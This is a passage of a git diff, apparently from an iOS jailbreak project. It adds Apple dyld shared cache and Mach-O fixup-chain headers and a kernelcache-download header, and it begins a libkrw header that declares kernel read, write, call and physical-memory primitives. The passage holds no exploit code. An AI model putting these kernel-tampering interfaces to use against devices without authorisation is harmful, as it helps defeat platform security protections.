+ uint64_t address; + uint64_t size; + uint64_t fileOffset; + uint32_t maxProt; + uint32_t initProt; +}; + +// Contains the flags for the dyld_cache_mapping_and_slide_info flgs field +enum { + DYLD_CACHE_MAPPING_AUTH_DATA = 1 << 0U, + DYLD_CACHE_MAPPING_DIRTY_DATA = 1 << 1U, + DYLD_CACHE_MAPPING_CONST_DATA = 1 << 2U, + DYLD_CACHE_MAPPING_TEXT_STUBS = 1 << 3U, + DYLD_CACHE_DYNAMIC_CONFIG_DATA = 1 << 4U, +}; + +struct dyld_cache_mapping_and_slide_info { + uint64_t address; + uint64_t size; + uint64_t fileOffset; + uint64_t slideInfoFileOffset; + uint64_t slideInfoFileSize; + uint64_t flags; + uint32_t maxProt; + uint32_t initProt; +}; + +struct dyld_cache_image_info +{ + uint64_t address; + uint64_t modTime; + uint64_t inode; + uint32_t pathFileOffset; + uint32_t pad; +}; + +struct dyld_cache_image_info_extra +{ + uint64_t exportsTrieAddr; // address of trie in unslid cache + uint64_t weakBindingsAddr; + uint32_t exportsTrieSize; + uint32_t weakBindingsSize; + uint32_t dependentsStartArrayIndex; + uint32_t reExportsStartArrayIndex; +}; + + +struct dyld_cache_accelerator_info +{ + uint32_t version; // currently 1 + uint32_t imageExtrasCount; // does not include aliases + uint32_t imagesExtrasOffset; // offset into this chunk of first dyld_cache_image_info_extra + uint32_t bottomUpListOffset; // offset into this chunk to start of 16-bit array of sorted image indexes + uint32_t dylibTrieOffset; // offset into this chunk to start of trie containing all dylib paths + uint32_t dylibTrieSize; // size of trie containing all dylib paths + uint32_t initializersOffset; // offset into this chunk to start of initializers list + uint32_t initializersCount; // size of initializers list + uint32_t dofSectionsOffset; // offset into this chunk to start of DOF sections list + uint32_t dofSectionsCount; // size of initializers list + uint32_t reExportListOffset; // offset into this chunk to start of 16-bit array of re-exports + uint32_t reExportCount; // size of re-exports + uint32_t depListOffset; // offset into this chunk to start of 16-bit array of dependencies (0x8000 bit set if upward) + uint32_t depListCount; // size of dependencies + uint32_t rangeTableOffset; // offset into this chunk to start of ss + uint32_t rangeTableCount; // size of dependencies + uint64_t dyldSectionAddr; // address of libdyld's __dyld section in unslid cache +}; + +struct dyld_cache_accelerator_initializer +{ + uint32_t functionOffset; // address offset from start of cache mapping + uint32_t imageIndex; +}; + +struct dyld_cache_range_entry +{ + uint64_t startAddress; // unslid address of start of region + uint32_t size; + uint32_t imageIndex; +}; + +struct dyld_cache_accelerator_dof +{ + uint64_t sectionAddress; // unslid address of start of region + uint32_t sectionSize; + uint32_t imageIndex; +}; + +struct dyld_cache_image_text_info +{ + uuid_t uuid; + uint64_t loadAddress; // unslid address of start of __TEXT + uint32_t textSegmentSize; + uint32_t pathOffset; // offset from start of cache file +}; + + +// The rebasing info is to allow the kernel to lazily rebase DATA pages of the +// dyld shared cache. Rebasing is adding the slide to interior pointers. +struct dyld_cache_slide_info +{ + uint32_t version; // currently 1 + uint32_t toc_offset; + uint32_t toc_count; + uint32_t entries_offset; + uint32_t entries_count; + uint32_t entries_size; // currently 128 + // uint16_t toc[toc_count]; + // entrybitmap entries[entries_count]; +}; + +struct dyld_cache_slide_info_entry { + uint8_t bits[4096/(8*4)]; // 128-byte bitmap +}; + + +// The version 2 of the slide info uses a different compression scheme. Since +// only interior pointers (pointers that point within the cache) are rebased +// (slid), we know the possible range of the pointers and thus know there are +// unused bits in each pointer. We use those bits to form a linked list of +// locations needing rebasing in each page. +// +// Definitions: +// +// pageIndex = (pageAddress - startOfAllDataAddress)/info->page_size +// pageStarts[] = info + info->page_starts_offset +// pageExtras[] = info + info->page_extras_offset +// valueMask = ~(info->delta_mask) +// deltaShift = __builtin_ctzll(info->delta_mask) - 2 +// +// There are three cases: +// +// 1) pageStarts[pageIndex] == DYLD_CACHE_SLIDE_PAGE_ATTR_NO_REBASE +// The page contains no values that need rebasing. +// +// 2) (pageStarts[pageIndex] & DYLD_CACHE_SLIDE_PAGE_ATTR_EXTRA) == 0 +// All rebase locations are in one linked list. The offset of the first +// rebase location in the page is pageStarts[pageIndex] * 4. +// +// 3) pageStarts[pageIndex] & DYLD_CACHE_SLIDE_PAGE_ATTR_EXTRA +// Multiple linked lists are needed for all rebase locations in a page. +// The pagesExtras array contains 2 or more entries each of which is the +// start of a new linked list in the page. The first is at: +// extrasStartIndex = (pageStarts[pageIndex] & 0x3FFF) +// The next is at extrasStartIndex+1. The last is denoted by +// having the high bit (DYLD_CACHE_SLIDE_PAGE_ATTR_END) of the pageExtras[] +// set. +// +// For 64-bit architectures, there is always enough free bits to encode all +// possible deltas. The info->delta_mask field shows where the delta is located +// in the pointer. That value must be masked off (valueMask) before the slide +// is added to the pointer. +// +// For 32-bit architectures, there are only three bits free (the three most +// significant bits). To extract the delta, you must first subtract value_add +// from the pointer value, then AND with delta_mask, then shift by deltaShift. +// That still leaves a maximum delta to the next rebase location of 28 bytes. +// To reduce the number or chains needed, an optimization was added. Turns +// out zero is common in the DATA region. A zero can be turned into a +// non-rebasing entry in the linked list. The can be done because nothing +// in the shared cache should point out of its dylib to the start of the shared +// cache. +// +// The code for processing a linked list (chain) is: +// +// uint32_t delta = 1; +// while ( delta != 0 ) { +// uint8_t* loc = pageStart + pageOffset; +// uintptr_t rawValue = *((uintptr_t*)loc); +// delta = ((rawValue & deltaMask) >> deltaShift); +// uintptr_t newValue = (rawValue & valueMask); +// if ( newValue != 0 ) { +// newValue += valueAdd; +// newValue += slideAmount; +// } +// *((uintptr_t*)loc) = newValue; +// pageOffset += delta; +// } +// +// +struct dyld_cache_slide_info2 +{ + uint32_t version; // currently 2 + uint32_t page_size; // currently 4096 (may also be 16384) + uint32_t page_starts_offset; + uint32_t page_starts_count; + uint32_t page_extras_offset; + uint32_t page_extras_count; + uint64_t delta_mask; // which (contiguous) set of bits contains the delta to the next rebase location + uint64_t value_add; + //uint16_t page_starts[page_starts_count]; + //uint16_t page_extras[page_extras_count]; +}; +#define DYLD_CACHE_SLIDE_PAGE_ATTRS 0xC000 // high bits of uint16_t are flags +#define DYLD_CACHE_SLIDE_PAGE_ATTR_EXTRA 0x8000 // index is into extras array (not starts array) +#define DYLD_CACHE_SLIDE_PAGE_ATTR_NO_REBASE 0x4000 // page has no rebasing +#define DYLD_CACHE_SLIDE_PAGE_ATTR_END 0x8000 // last chain entry for page + + + +// The version 3 of the slide info uses a different compression scheme. Since +// only interior pointers (pointers that point within the cache) are rebased +// (slid), we know the possible range of the pointers and thus know there are +// unused bits in each pointer. We use those bits to form a linked list of +// locations needing rebasing in each page. +// +// Definitions: +// +// pageIndex = (pageAddress - startOfAllDataAddress)/info->page_size +// pageStarts[] = info + info->page_starts_offset +// +// There are two cases: +// +// 1) pageStarts[pageIndex] == DYLD_CACHE_SLIDE_V3_PAGE_ATTR_NO_REBASE +// The page contains no values that need rebasing. +// +// 2) otherwise... +// All rebase locations are in one linked list. The offset of the first +// rebase location in the page is pageStarts[pageIndex]. +// +// A pointer is one of of the variants in dyld_cache_slide_pointer3 +// +// The code for processing a linked list (chain) is: +// +// uint32_t delta = pageStarts[pageIndex]; +// dyld_cache_slide_pointer3* loc = pageStart; +// do { +// loc += delta; +// delta = loc->offsetToNextPointer; +// if ( loc->auth.authenticated ) { +// newValue = loc->offsetFromSharedCacheBase + results->slide + auth_value_add; +// newValue = sign_using_the_various_bits(newValue); +// } +// else { +// uint64_t value51 = loc->pointerValue; +// uint64_t top8Bits = value51 & 0x0007F80000000000ULL; +// uint64_t bottom43Bits = value51 & 0x000007FFFFFFFFFFULL; +// uint64_t targetValue = ( top8Bits << 13 ) | bottom43Bits; +// newValue = targetValue + results->slide; +// } +// loc->raw = newValue; +// } while (delta != 0); +// +// +struct dyld_cache_slide_info3 +{ + uint32_t version; // currently 3 + uint32_t page_size; // currently 4096 (may also be 16384) + uint32_t page_starts_count; + uint64_t auth_value_add; + uint16_t page_starts[/* page_starts_count */]; +}; + +#define DYLD_CACHE_SLIDE_V3_PAGE_ATTR_NO_REBASE 0xFFFF // page has no rebasing + +union dyld_cache_slide_pointer3 +{ + uint64_t raw; + struct { + uint64_t pointerValue : 51, + offsetToNextPointer : 11, + unused : 2; + } plain; + + struct { + uint64_t offsetFromSharedCacheBase : 32, + diversityData : 16, + hasAddressDiversity : 1, + key : 2, + offsetToNextPointer : 11, + unused : 1, + authenticated : 1; // = 1; + } auth; +}; + + + +// The version 4 of the slide info is optimized for 32-bit caches up to 1GB. +// Since only interior pointers (pointers that point within the cache) are rebased +// (slid), we know the possible range of the pointers takes 30 bits. That +// gives us two bits to use to chain to the next rebase. +// +// Definitions: +// +// pageIndex = (pageAddress - startOfAllDataAddress)/info->page_size +// pageStarts[] = info + info->page_starts_offset +// pageExtras[] = info + info->page_extras_offset +// valueMask = ~(info->delta_mask) +// deltaShift = __builtin_ctzll(info->delta_mask) - 2 +// +// There are three cases: +// +// 1) pageStarts[pageIndex] == DYLD_CACHE_SLIDE4_PAGE_NO_REBASE +// The page contains no values that need rebasing. +// +// 2) (pageStarts[pageIndex] & DYLD_CACHE_SLIDE4_PAGE_USE_EXTRA) == 0 +// All rebase locations are in one linked list. The offset of the first +// rebase location in the page is pageStarts[pageIndex] * 4. +// +// 3) pageStarts[pageIndex] & DYLD_CACHE_SLIDE4_PAGE_USE_EXTRA +// Multiple chains are needed for all rebase locations in a page. +// The pagesExtras array contains 2 or more entries each of which is the +// start of a new chain in the page. The first is at: +// extrasStartIndex = (pageStarts[pageIndex] & DYLD_CACHE_SLIDE4_PAGE_INDEX) +// The next is at extrasStartIndex+1. The last is denoted by +// having the high bit (DYLD_CACHE_SLIDE4_PAGE_EXTRA_END) of the pageExtras[]. +// +// For 32-bit architectures, there are only two bits free (the two most +// significant bits). To extract the delta, you must first subtract value_add +// from the pointer value, then AND with delta_mask, then shift by deltaShift. +// That still leaves a maximum delta to the next rebase location of 12 bytes. +// To reduce the number or chains needed, an optimization was added. Turns +// most of the non-rebased data are small values and can be co-opt'ed into +// being used in the chain. The can be done because nothing +// in the shared cache should point to the first 64KB which are in the shared +// cache header information. So if the resulting pointer points to the +// start of the cache +/-32KB, then it is actually a small number that should +// not be rebased, but just reconstituted. +// +// The code for processing a linked list (chain) is: +// +// uint32_t delta = 1; +// while ( delta != 0 ) { +// uint8_t* loc = pageStart + pageOffset; +// uint32_t rawValue = *((uint32_t*)loc); +// delta = ((rawValue & deltaMask) >> deltaShift); +// uintptr_t newValue = (rawValue & valueMask); +// if ( (newValue & 0xFFFF8000) == 0 ) { +// // small positive non-pointer, use as-is +// } +// else if ( (newValue & 0x3FFF8000) == 0x3FFF8000 ) { +// // small negative non-pointer +// newValue |= 0xC0000000; +// } +// else { +// // pointer that needs rebasing +// newValue += valueAdd; +// newValue += slideAmount; +// } +// *((uint32_t*)loc) = newValue; +// pageOffset += delta; +// } +// +// +struct dyld_cache_slide_info4 +{ + uint32_t version; // currently 4 + uint32_t page_size; // currently 4096 (may also be 16384) + uint32_t page_starts_offset; + uint32_t page_starts_count; + uint32_t page_extras_offset; + uint32_t page_extras_count; + uint64_t delta_mask; // which (contiguous) set of bits contains the delta to the next rebase location (0xC0000000) + uint64_t value_add; // base address of cache + //uint16_t page_starts[page_starts_count]; + //uint16_t page_extras[page_extras_count]; +}; +#define DYLD_CACHE_SLIDE4_PAGE_NO_REBASE 0xFFFF // page has no rebasing +#define DYLD_CACHE_SLIDE4_PAGE_INDEX 0x7FFF // mask of page_starts[] values +#define DYLD_CACHE_SLIDE4_PAGE_USE_EXTRA 0x8000 // index is into extras array (not a chain start offset) +#define DYLD_CACHE_SLIDE4_PAGE_EXTRA_END 0x8000 // last chain entry for page + + +// The version 5 of the slide info uses a different compression scheme. Since +// only interior pointers (pointers that point within the cache) are rebased +// (slid), we know the possible range of the pointers and thus know there are +// unused bits in each pointer. We use those bits to form a linked list of +// locations needing rebasing in each page. +// +// Definitions: +// +// pageIndex = (pageAddress - startOfAllDataAddress)/info->page_size +// pageStarts[] = info + info->page_starts_offset +// +// There are two cases: +// +// 1) pageStarts[pageIndex] == DYLD_CACHE_SLIDE_V5_PAGE_ATTR_NO_REBASE +// The page contains no values that need rebasing. +// +// 2) otherwise... +// All rebase locations are in one linked list. The offset of the first +// rebase location in the page is pageStarts[pageIndex]. +// +// A pointer is one of of the variants in dyld_cache_slide_pointer5 +// +// The code for processing a linked list (chain) is: +// +// uint32_t delta = pageStarts[pageIndex]; +// dyld_cache_slide_pointer5* loc = pageStart; +// do { +// loc += delta; +// delta = loc->offsetToNextPointer; +// newValue = loc->regular.target + value_add + results->slide; +// if ( loc->auth.authenticated ) { +// newValue = sign_using_the_various_bits(newValue); +// } +// else { +// newValue = newValue | (loc->regular.high8 < 56); +// } +// loc->raw = newValue; +// } while (delta != 0); +// +// +struct dyld_cache_slide_info5 +{ + uint32_t version; // currently 5 + uint32_t page_size; // currently 4096 (may also be 16384) + uint32_t page_starts_count; + uint64_t value_add; + uint16_t page_starts[/* page_starts_count */]; +}; + +#define DYLD_CACHE_SLIDE_V5_PAGE_ATTR_NO_REBASE 0xFFFF // page has no rebasing + +union dyld_cache_slide_pointer5 +{ + uint64_t raw; + struct dyld_chained_ptr_arm64e_shared_cache_rebase regular; + struct dyld_chained_ptr_arm64e_shared_cache_auth_rebase auth; +}; + + +struct dyld_cache_local_symbols_info +{ + uint32_t nlistOffset; // offset into this chunk of nlist entries + uint32_t nlistCount; // count of nlist entries + uint32_t stringsOffset; // offset into this chunk of string pool + uint32_t stringsSize; // byte count of string pool + uint32_t entriesOffset; // offset into this chunk of array of dyld_cache_local_symbols_entry + uint32_t entriesCount; // number of elements in dyld_cache_local_symbols_entry array +}; + +struct dyld_cache_local_symbols_entry +{ + uint32_t dylibOffset; // offset in cache file of start of dylib + uint32_t nlistStartIndex; // start index of locals for this dylib + uint32_t nlistCount; // number of local symbols for this dylib +}; + +struct dyld_cache_local_symbols_entry_64 +{ + uint64_t dylibOffset; // offset in cache buffer of start of dylib + uint32_t nlistStartIndex; // start index of locals for this dylib + uint32_t nlistCount; // number of local symbols for this dylib +}; + +struct dyld_subcache_entry_v1 +{ + uint8_t uuid[16]; // The UUID of the subCache file + uint64_t cacheVMOffset; // The offset of this subcache from the main cache base address +}; + +struct dyld_subcache_entry +{ + uint8_t uuid[16]; // The UUID of the subCache file + uint64_t cacheVMOffset; // The offset of this subcache from the main cache base address + char fileSuffix[32]; // The file name suffix of the subCache file e.g. ".25.data", ".03.development" +}; + +// This struct is a small piece of dynamic data that can be included in the shared region, and contains configuration +// data about the shared cache in use by the process. It is located +struct dyld_cache_dynamic_data_header +{ + char magic[16]; // e.g. "dyld_data v0" + uint64_t fsId; // The fsid_t of the shared cache being used by a process + uint64_t fsObjId; // The fs_obj_id_t of the shared cache being used by a process +}; + +// This is the location of the macOS shared cache on macOS 11.0 and later +#define MACOSX_MRM_DYLD_SHARED_CACHE_DIR "/System/Library/dyld/" + +// This is old define for the old location of the dyld cache +#define MACOSX_DYLD_SHARED_CACHE_DIR MACOSX_MRM_DYLD_SHARED_CACHE_DIR + +#define IPHONE_DYLD_SHARED_CACHE_DIR "/System/Library/Caches/com.apple.dyld/" + +#define DRIVERKIT_DYLD_SHARED_CACHE_DIR "/System/DriverKit/System/Library/dyld/" + +#define EXCLAVEKIT_DYLD_SHARED_CACHE_DIR "/System/ExclaveKit/System/Library/dyld/" + +#if !TARGET_OS_SIMULATOR + #define DYLD_SHARED_CACHE_BASE_NAME "dyld_shared_cache_" +#else + #define DYLD_SHARED_CACHE_BASE_NAME "dyld_sim_shared_cache_" +#endif +#define DYLD_SHARED_CACHE_DEVELOPMENT_EXT ".development" + +#define DYLD_SHARED_CACHE_DYNAMIC_DATA_MAGIC "dyld_data v0" + +static const char* cryptexPrefixes[] = { + "/System/Volumes/Preboot/Cryptexes/OS/", + "/private/preboot/Cryptexes/OS/", + "/System/Cryptexes/OS" +}; + +static const uint64_t kDyldSharedCacheTypeDevelopment = 0; +static const uint64_t kDyldSharedCacheTypeProduction = 1; +static const uint64_t kDyldSharedCacheTypeUniversal = 2; + + + + + +#endif // __DYLD_CACHE_FORMAT__ + + diff --git a/BaseBin/_external/include/fixup-chains.h b/BaseBin/_external/include/fixup-chains.h new file mode 100644 index 0000000000..13e838970e --- /dev/null +++ b/BaseBin/_external/include/fixup-chains.h @@ -0,0 +1,306 @@ +/* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- + * + * Copyright (c) 2018 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ + +#ifndef __MACH_O_FIXUP_CHAINS__ +#define __MACH_O_FIXUP_CHAINS__ 6 + + +#include + + +//#define LC_DYLD_EXPORTS_TRIE 0x80000033 // used with linkedit_data_command +//#define LC_DYLD_CHAINED_FIXUPS 0x80000034 // used with linkedit_data_command, payload is dyld_chained_fixups_header + + +// header of the LC_DYLD_CHAINED_FIXUPS payload +struct dyld_chained_fixups_header +{ + uint32_t fixups_version; // 0 + uint32_t starts_offset; // offset of dyld_chained_starts_in_image in chain_data + uint32_t imports_offset; // offset of imports table in chain_data + uint32_t symbols_offset; // offset of symbol strings in chain_data + uint32_t imports_count; // number of imported symbol names + uint32_t imports_format; // DYLD_CHAINED_IMPORT* + uint32_t symbols_format; // 0 => uncompressed, 1 => zlib compressed +}; + +// This struct is embedded in LC_DYLD_CHAINED_FIXUPS payload +struct dyld_chained_starts_in_image +{ + uint32_t seg_count; + uint32_t seg_info_offset[1]; // each entry is offset into this struct for that segment + // followed by pool of dyld_chain_starts_in_segment data +}; + +// This struct is embedded in dyld_chain_starts_in_image +// and passed down to the kernel for page-in linking +struct dyld_chained_starts_in_segment +{ + uint32_t size; // size of this (amount kernel needs to copy) + uint16_t page_size; // 0x1000 or 0x4000 + uint16_t pointer_format; // DYLD_CHAINED_PTR_* + uint64_t segment_offset; // offset in memory to start of segment + uint32_t max_valid_pointer; // for 32-bit OS, any value beyond this is not a pointer + uint16_t page_count; // how many pages are in array + uint16_t page_start[1]; // each entry is offset in each page of first element in chain + // or DYLD_CHAINED_PTR_START_NONE if no fixups on page + // uint16_t chain_starts[1]; // some 32-bit formats may require multiple starts per page. + // for those, if high bit is set in page_starts[], then it + // is index into chain_starts[] which is a list of starts + // the last of which has the high bit set +}; + +enum { + DYLD_CHAINED_PTR_START_NONE = 0xFFFF, // used in page_start[] to denote a page with no fixups + DYLD_CHAINED_PTR_START_MULTI = 0x8000, // used in page_start[] to denote a page which has multiple starts + DYLD_CHAINED_PTR_START_LAST = 0x8000, // used in chain_starts[] to denote last start in list for page +}; + +// This struct is embedded in __TEXT,__chain_starts section in firmware +struct dyld_chained_starts_offsets +{ + uint32_t pointer_format; // DYLD_CHAINED_PTR_32_FIRMWARE + uint32_t starts_count; // number of starts in array + uint32_t chain_starts[1]; // array chain start offsets +}; + + +// values for dyld_chained_starts_in_segment.pointer_format +enum { + DYLD_CHAINED_PTR_ARM64E = 1, // stride 8, unauth target is vmaddr + DYLD_CHAINED_PTR_64 = 2, // target is vmaddr + DYLD_CHAINED_PTR_32 = 3, + DYLD_CHAINED_PTR_32_CACHE = 4, + DYLD_CHAINED_PTR_32_FIRMWARE = 5, + DYLD_CHAINED_PTR_64_OFFSET = 6, // target is vm offset + DYLD_CHAINED_PTR_ARM64E_OFFSET = 7, // old name + DYLD_CHAINED_PTR_ARM64E_KERNEL = 7, // stride 4, unauth target is vm offset + DYLD_CHAINED_PTR_64_KERNEL_CACHE = 8, + DYLD_CHAINED_PTR_ARM64E_USERLAND = 9, // stride 8, unauth target is vm offset + DYLD_CHAINED_PTR_ARM64E_FIRMWARE = 10, // stride 4, unauth target is vmaddr + DYLD_CHAINED_PTR_X86_64_KERNEL_CACHE = 11, // stride 1, x86_64 kernel caches + DYLD_CHAINED_PTR_ARM64E_USERLAND24 = 12, // stride 8, unauth target is vm offset, 24-bit bind + DYLD_CHAINED_PTR_ARM64E_SHARED_CACHE = 13, // stride 8, regular/auth targets both vm offsets. Only A keys supported +}; + + +// DYLD_CHAINED_PTR_ARM64E +struct dyld_chained_ptr_arm64e_rebase +{ + uint64_t target : 43, + high8 : 8, + next : 11, // 4 or 8-byte stide + bind : 1, // == 0 + auth : 1; // == 0 +}; + +// DYLD_CHAINED_PTR_ARM64E +struct dyld_chained_ptr_arm64e_bind +{ + uint64_t ordinal : 16, + zero : 16, + addend : 19, // +/-256K + next : 11, // 4 or 8-byte stide + bind : 1, // == 1 + auth : 1; // == 0 +}; + +// DYLD_CHAINED_PTR_ARM64E +struct dyld_chained_ptr_arm64e_auth_rebase +{ + uint64_t target : 32, // runtimeOffset + diversity : 16, + addrDiv : 1, + key : 2, + next : 11, // 4 or 8-byte stide + bind : 1, // == 0 + auth : 1; // == 1 +}; + +// DYLD_CHAINED_PTR_ARM64E +struct dyld_chained_ptr_arm64e_auth_bind +{ + uint64_t ordinal : 16, + zero : 16, + diversity : 16, + addrDiv : 1, + key : 2, + next : 11, // 4 or 8-byte stide + bind : 1, // == 1 + auth : 1; // == 1 +}; + +// DYLD_CHAINED_PTR_64/DYLD_CHAINED_PTR_64_OFFSET +struct dyld_chained_ptr_64_rebase +{ + uint64_t target : 36, // 64GB max image size (DYLD_CHAINED_PTR_64 => vmAddr, DYLD_CHAINED_PTR_64_OFFSET => runtimeOffset) + high8 : 8, // top 8 bits set to this (DYLD_CHAINED_PTR_64 => after slide added, DYLD_CHAINED_PTR_64_OFFSET => before slide added) + reserved : 7, // all zeros + next : 12, // 4-byte stride + bind : 1; // == 0 +}; + + +// DYLD_CHAINED_PTR_ARM64E_USERLAND24 +struct dyld_chained_ptr_arm64e_bind24 +{ + uint64_t ordinal : 24, + zero : 8, + addend : 19, // +/-256K + next : 11, // 8-byte stide + bind : 1, // == 1 + auth : 1; // == 0 +}; + +// DYLD_CHAINED_PTR_ARM64E_USERLAND24 +struct dyld_chained_ptr_arm64e_auth_bind24 +{ + uint64_t ordinal : 24, + zero : 8, + diversity : 16, + addrDiv : 1, + key : 2, + next : 11, // 8-byte stide + bind : 1, // == 1 + auth : 1; // == 1 +}; + + +// DYLD_CHAINED_PTR_64 +struct dyld_chained_ptr_64_bind +{ + uint64_t ordinal : 24, + addend : 8, // 0 thru 255 + reserved : 19, // all zeros + next : 12, // 4-byte stride + bind : 1; // == 1 +}; + +// DYLD_CHAINED_PTR_64_KERNEL_CACHE, DYLD_CHAINED_PTR_X86_64_KERNEL_CACHE +struct dyld_chained_ptr_64_kernel_cache_rebase +{ + uint64_t target : 30, // basePointers[cacheLevel] + target + cacheLevel : 2, // what level of cache to bind to (indexes a mach_header array) + diversity : 16, + addrDiv : 1, + key : 2, + next : 12, // 1 or 4-byte stide + isAuth : 1; // 0 -> not authenticated. 1 -> authenticated +}; + +// DYLD_CHAINED_PTR_32 +// Note: for DYLD_CHAINED_PTR_32 some non-pointer values are co-opted into the chain +// as out of range rebases. If an entry in the chain is > max_valid_pointer, then it +// is not a pointer. To restore the value, subtract off the bias, which is +// (64MB+max_valid_pointer)/2. +struct dyld_chained_ptr_32_rebase +{ + uint32_t target : 26, // vmaddr, 64MB max image size + next : 5, // 4-byte stride + bind : 1; // == 0 +}; + +// DYLD_CHAINED_PTR_32 +struct dyld_chained_ptr_32_bind +{ + uint32_t ordinal : 20, + addend : 6, // 0 thru 63 + next : 5, // 4-byte stride + bind : 1; // == 1 +}; + +// DYLD_CHAINED_PTR_32_CACHE +struct dyld_chained_ptr_32_cache_rebase +{ + uint32_t target : 30, // 1GB max dyld cache TEXT and DATA + next : 2; // 4-byte stride +}; + + +// DYLD_CHAINED_PTR_32_FIRMWARE +struct dyld_chained_ptr_32_firmware_rebase +{ + uint32_t target : 26, // 64MB max firmware TEXT and DATA + next : 6; // 4-byte stride +}; + +// DYLD_CHAINED_PTR_ARM64E_SHARED_CACHE +struct dyld_chained_ptr_arm64e_shared_cache_rebase +{ + uint64_t runtimeOffset : 34, // offset from the start of the shared cache + high8 : 8, + unused : 10, + next : 11, // 8-byte stide + auth : 1; // == 0 +}; + +// DYLD_CHAINED_PTR_ARM64E_SHARED_CACHE +struct dyld_chained_ptr_arm64e_shared_cache_auth_rebase +{ + uint64_t runtimeOffset : 34, // offset from the start of the shared cache + diversity : 16, + addrDiv : 1, + keyIsData : 1, // implicitly always the 'A' key. 0 -> IA. 1 -> DA + next : 11, // 8-byte stide + auth : 1; // == 1 +}; + + + +// values for dyld_chained_fixups_header.imports_format +enum { + DYLD_CHAINED_IMPORT = 1, + DYLD_CHAINED_IMPORT_ADDEND = 2, + DYLD_CHAINED_IMPORT_ADDEND64 = 3, +}; + +// DYLD_CHAINED_IMPORT +struct dyld_chained_import +{ + uint32_t lib_ordinal : 8, // -15 .. 240 (0xF1 .. 0xF0) + weak_import : 1, + name_offset : 23; +}; + +// DYLD_CHAINED_IMPORT_ADDEND +struct dyld_chained_import_addend +{ + uint32_t lib_ordinal : 8, // -15 .. 240 (0xF1 .. 0xF0) + weak_import : 1, + name_offset : 23; + int32_t addend; +}; + +// DYLD_CHAINED_IMPORT_ADDEND64 +struct dyld_chained_import_addend64 +{ + uint64_t lib_ordinal : 16, // -15 .. 65520 (0xFFF1 .. 0xFFF0) + weak_import : 1, + reserved : 15, + name_offset : 32; + uint64_t addend; +}; + +#endif // __MACH_O_FIXUP_CHAINS__ + diff --git a/BaseBin/_external/include/libgrabkernel/libgrabkernel.h b/BaseBin/_external/include/libgrabkernel/libgrabkernel.h deleted file mode 100644 index 1947d07832..0000000000 --- a/BaseBin/_external/include/libgrabkernel/libgrabkernel.h +++ /dev/null @@ -1,18 +0,0 @@ -// -// libgrabkernel.h -// libgrabkernel -// -// Created by tihmstar on 31.01.19. -// Copyright © 2019 tihmstar. All rights reserved. -// - -#ifndef libgrabkernel_h -#define libgrabkernel_h - -#include - -const char* libgrabkernel_version(void); -int grabkernel(char *downloadPath, int isResearchKernel); - - -#endif /* libgrabkernel_h */ diff --git a/BaseBin/_external/include/libgrabkernel2/libgrabkernel2.h b/BaseBin/_external/include/libgrabkernel2/libgrabkernel2.h new file mode 100644 index 0000000000..91d18d6d4e --- /dev/null +++ b/BaseBin/_external/include/libgrabkernel2/libgrabkernel2.h @@ -0,0 +1,20 @@ +// +// grabkernel.h +// libgrabkernel2 +// +// Created by Alfie on 14/02/2024. +// + +#ifndef grabkernel_h +#define grabkernel_h + +#include + +bool download_kernelcache(NSString *zipURL, bool isOTA, NSString *outPath); +bool grab_kernelcache(NSString *outPath); + +// libgrabkernel compatibility shim +// Note that research kernel grabbing is not currently supported +int grabkernel(char *downloadPath, int isResearchKernel); + +#endif /* grabkernel_h */ diff --git a/BaseBin/_external/include/libkrw/libkrw_plugin.h b/BaseBin/_external/include/libkrw/libkrw_plugin.h new file mode 100644 index 0000000000..80f9c91754 --- /dev/null +++ b/BaseBin/_external/include/libkrw/libkrw_plugin.h @@ -0,0 +1,97 @@ +#ifndef LIBKRW_PLUGIN_H +#define LIBKRW_PLUGIN_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include + +/** + * libkrw - Library for kernel read/write + * + * The purpose of this library is to provide a standard interface for common + * kernel memory operations. Subsets of those have historically been exported + * by most jailbreaks, but the provided interfaces are increasingly shifting, + * thus calling for a standard interface. + * + * It is understood that hardly any jailbreak provides the necessary primitives + * to implement ALL of the below functions. Thus, an implementer of this API + * is free to implement any subset of their choosing, even an empty one, and + * simply "stub" the remaining functions to return `ENOTSUP` unconditionally. + * + * All functions imported by this library are expected to return an `int` status + * code, where: + * - The value `0` indicates success. + * - The values `1` through `255` indicate failure and correspond to their + * definitions in (or are reserved, if no such definition exists). + * - All other return values are implementation-defined, but indicate failure. + * + * Notable conditions where values from should be used include: + * - `EPERM` The requested operation requires root, an entitlement, or some + * other form of elevated privileges. + * - `EINVAL` An invalid argument was provided to the function. + * - `EDEVERR` The requested operation is supported in this implementation, but + * could not be completed for some reason. + * - `ENOTSUP` The requested operation is not supported in this implementation. + * + * Further shall be noted that due to the inherently unsafe nature of direct + * kernel memory accesses, functions that take kernel addresses as arguments + * from the caller may panic the kernel, and implementers of this interface may + * choose to defend against that, but are not expected to do so. They ARE + * however expected to defend against causing kernel panics in functions that do + * NOT take kernel addresses as arguments. +**/ + +typedef int (*krw_kbase_func_t)(uint64_t *addr); +typedef int (*krw_kread_func_t)(uint64_t from, void *to, size_t len); +typedef int (*krw_kwrite_func_t)(void *from, uint64_t to, size_t len); +typedef int (*krw_kmalloc_func_t)(uint64_t *addr, size_t size); +typedef int (*krw_kdealloc_func_t)(uint64_t addr, size_t size); +typedef int (*krw_kcall_func_t)(uint64_t func, size_t argc, const uint64_t *argv, uint64_t *ret); +typedef int (*krw_physread_func_t)(uint64_t from, void *to, size_t len, uint8_t granule); +typedef int (*krw_physwrite_func_t)(void *from, uint64_t to, size_t len, uint8_t granule); + +// This struct must only be extended so that old plugins can still load +#define LIBKRW_HANDLERS_VERSION 0 +struct krw_handlers_s { + uint64_t version; + krw_kbase_func_t kbase; + krw_kread_func_t kread; + 